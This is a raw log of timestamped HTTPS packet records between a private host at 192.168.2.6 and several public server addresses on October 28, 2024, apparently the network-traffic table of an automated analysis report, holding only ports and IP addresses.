Oct 28, 2024 02:07:40.401824951 CET	443	49929	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.401890993 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.402245998 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.402309895 CET	443	49929	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.402430058 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.402440071 CET	443	49929	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.403259993 CET	443	49934	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.403912067 CET	49934	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.403942108 CET	443	49934	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.404443979 CET	49934	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.404450893 CET	443	49934	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.405889034 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.406130075 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.406145096 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.407495022 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.407561064 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.407994032 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.408054113 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.408143997 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.409320116 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.409389019 CET	49931	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.409398079 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.409498930 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.409555912 CET	49931	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.410346031 CET	49931	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.410358906 CET	443	49931	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.427872896 CET	443	49932	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.428463936 CET	49932	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.428492069 CET	443	49932	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.429142952 CET	49932	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.429150105 CET	443	49932	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.429816961 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.430201054 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.430226088 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.431492090 CET	443	49926	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.431581974 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.431591034 CET	443	49926	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.431654930 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.431658030 CET	49926	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.432496071 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.432560921 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.433758974 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.433765888 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.434649944 CET	49926	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.434668064 CET	443	49926	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.440062046 CET	443	49925	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:40.440124035 CET	49925	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:40.440274000 CET	49925	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:40.440285921 CET	443	49925	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:40.442178965 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.442611933 CET	49933	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.442635059 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.443845987 CET	49933	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.443852901 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.446528912 CET	49938	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:40.446567059 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:40.446744919 CET	49938	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:40.446846008 CET	49938	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:40.446856976 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:40.449836016 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.455375910 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.462619066 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.462692022 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.462716103 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.475954056 CET	443	49935	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.476430893 CET	49935	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.476459980 CET	443	49935	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.476907969 CET	49935	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.476914883 CET	443	49935	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.495613098 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.495636940 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.495645046 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.495695114 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.495693922 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.495706081 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.495714903 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.495735884 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.495759964 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.495770931 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.495820999 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.502469063 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.502477884 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.502522945 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.502535105 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.502566099 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.502579927 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.502592087 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.502604961 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.502638102 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.503223896 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.503304958 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.538232088 CET	443	49934	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.538403034 CET	443	49934	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.538471937 CET	49934	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.538614988 CET	49934	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.538631916 CET	443	49934	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.538644075 CET	49934	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.538650990 CET	443	49934	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.541548967 CET	49939	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.541573048 CET	443	49939	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.541641951 CET	49939	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.541842937 CET	49939	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.541860104 CET	443	49939	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.558590889 CET	443	49932	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.558665037 CET	443	49932	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.558759928 CET	443	49932	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.558808088 CET	49932	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.558855057 CET	49932	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.558904886 CET	49932	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.558923006 CET	443	49932	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.558937073 CET	49932	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.558943033 CET	443	49932	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.561372995 CET	49940	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.561409950 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.561480045 CET	49940	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.561652899 CET	49940	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.561666965 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.568288088 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.568568945 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.576001883 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.576833963 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.576894045 CET	49933	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.576910973 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.576956987 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.577003956 CET	49933	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.577025890 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.577039957 CET	49933	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.577039957 CET	49933	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.577048063 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.577058077 CET	443	49933	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.579181910 CET	49941	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.579222918 CET	443	49941	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.579341888 CET	49941	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.579438925 CET	49941	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.579451084 CET	443	49941	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.586571932 CET	443	49929	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.586596012 CET	443	49929	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.586661100 CET	443	49929	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.586659908 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.586988926 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.587845087 CET	49929	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.587863922 CET	443	49929	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.608009100 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.608032942 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.608042002 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.608104944 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.608117104 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.608166933 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.608805895 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.608861923 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.608907938 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.609328032 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.609340906 CET	443	49930	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.609577894 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.609759092 CET	443	49935	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.609792948 CET	49930	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.610436916 CET	443	49935	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.610512018 CET	49935	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.610972881 CET	49935	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.610986948 CET	443	49935	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.611952066 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.611963034 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.612023115 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.612040997 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.612054110 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.612066031 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.612081051 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.612106085 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.614537954 CET	49942	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.614561081 CET	443	49942	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.614641905 CET	49942	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.614809990 CET	49942	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.614823103 CET	443	49942	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.619148016 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.619163990 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.619236946 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.619246006 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.619303942 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.620505095 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.620601892 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.621095896 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.621157885 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.621166945 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.621203899 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.621350050 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.621357918 CET	443	49927	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.621370077 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.621406078 CET	49927	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.655870914 CET	443	49937	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.675803900 CET	49937	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.675839901 CET	443	49937	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.676296949 CET	49937	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.676311016 CET	443	49937	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.727001905 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.727026939 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.727035046 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.727060080 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.727070093 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.727077007 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.727114916 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.727144957 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.727159023 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.727193117 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.744780064 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.744788885 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.744831085 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.744841099 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.744865894 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.744873047 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.744904995 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.744925976 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.747529984 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.747585058 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.792284012 CET	49943	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:40.792313099 CET	443	49943	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:40.792598009 CET	49943	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:40.792670965 CET	49944	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:40.792702913 CET	443	49944	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:40.792756081 CET	49944	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:40.792965889 CET	49943	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:40.792974949 CET	443	49943	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:40.793237925 CET	49944	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:40.793256044 CET	443	49944	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:40.805454969 CET	443	49937	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.805490017 CET	443	49937	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.805536985 CET	443	49937	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.805555105 CET	49937	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.805578947 CET	49937	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.806344032 CET	49937	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.806361914 CET	443	49937	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.806374073 CET	49937	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.806381941 CET	443	49937	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.810916901 CET	49945	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.810942888 CET	443	49945	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.811038971 CET	49945	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.811228037 CET	49945	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:40.811244011 CET	443	49945	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:40.811759949 CET	49946	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:40.811778069 CET	443	49946	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:40.811831951 CET	49946	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:40.812091112 CET	49947	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:40.812117100 CET	443	49947	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:40.812268972 CET	49946	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:40.812283039 CET	443	49946	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:40.812328100 CET	49947	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:40.812506914 CET	49947	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:40.812517881 CET	443	49947	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:40.843683958 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.843761921 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.843765974 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.843812943 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.844830036 CET	49928	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:40.844841957 CET	443	49928	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:40.927371025 CET	49948	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:40.927398920 CET	443	49948	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:40.927464008 CET	49948	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:40.928055048 CET	49948	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:40.928065062 CET	443	49948	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:41.290010929 CET	443	49939	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.336277008 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:41.338579893 CET	443	49940	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.344705105 CET	443	49941	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.351663113 CET	443	49942	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.362020016 CET	49938	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:41.362035036 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:41.362488031 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:41.365242004 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:41.365271091 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:41.365386963 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:41.366055965 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:41.366077900 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:41.366133928 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:41.366591930 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:41.366601944 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:41.366646051 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:41.368355989 CET	49951	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:41.368366003 CET	443	49951	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:41.368762016 CET	49950	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:41.368777990 CET	443	49950	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:41.368940115 CET	49949	443	192.168.2.6	23.47.194.99
Oct 28, 2024 02:07:41.368952036 CET	443	49949	23.47.194.99	192.168.2.6
Oct 28, 2024 02:07:41.369360924 CET	49938	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:41.369436979 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:41.369482994 CET	49938	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:41.395520926 CET	443	49944	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:41.398467064 CET	443	49943	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:41.411346912 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:41.413574934 CET	49940	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.413579941 CET	49939	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.416706085 CET	49942	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.441075087 CET	49944	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:41.441086054 CET	443	49944	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:41.442255974 CET	49943	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:41.442276955 CET	443	49943	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:41.442297935 CET	443	49944	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:41.442368031 CET	49944	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:41.443880081 CET	443	49943	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:41.443958998 CET	49943	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:41.444554090 CET	49944	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:41.444637060 CET	443	49944	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:41.445806980 CET	49943	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:41.445911884 CET	443	49943	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:41.459482908 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:41.459532022 CET	443	49952	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:41.459600925 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:41.459939957 CET	49952	443	192.168.2.6	20.52.64.201
Oct 28, 2024 02:07:41.459959030 CET	443	49952	20.52.64.201	192.168.2.6
Oct 28, 2024 02:07:41.460412979 CET	49941	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.460494041 CET	49938	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:41.533961058 CET	443	49945	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.546448946 CET	443	49947	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.559077978 CET	49947	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:41.559087992 CET	443	49947	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.560177088 CET	443	49947	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.560242891 CET	49947	443	192.168.2.6	204.79.197.219
Oct 28, 2024 02:07:41.561225891 CET	443	49948	104.93.21.139	192.168.2.6
Oct 28, 2024 02:07:41.565885067 CET	443	49946	204.79.197.219	192.168.2.6
Oct 28, 2024 02:07:41.569791079 CET	49944	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:41.569804907 CET	443	49944	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:41.569849014 CET	49943	443	192.168.2.6	23.198.7.183
Oct 28, 2024 02:07:41.569859028 CET	443	49943	23.198.7.183	192.168.2.6
Oct 28, 2024 02:07:41.577063084 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:41.577080011 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:41.577157974 CET	49938	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:41.577167988 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:41.616708994 CET	49948	443	192.168.2.6	104.93.21.139
Oct 28, 2024 02:07:41.616708040 CET	49945	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.630034924 CET	443	49938	20.99.186.246	192.168.2.6
Oct 28, 2024 02:07:41.632642031 CET	49938	443	192.168.2.6	20.99.186.246
Oct 28, 2024 02:07:41.760576010 CET	49945	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.760597944 CET	443	49945	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.761662006 CET	49945	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.761667967 CET	443	49945	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.762464046 CET	49942	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.762485981 CET	443	49942	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.762989044 CET	49942	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.762994051 CET	443	49942	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.763284922 CET	49939	443	192.168.2.6	13.107.246.60
Oct 28, 2024 02:07:41.763329983 CET	443	49939	13.107.246.60	192.168.2.6
Oct 28, 2024 02:07:41.763765097 CET	49939	443	192.168.2.6	13.107.246.60
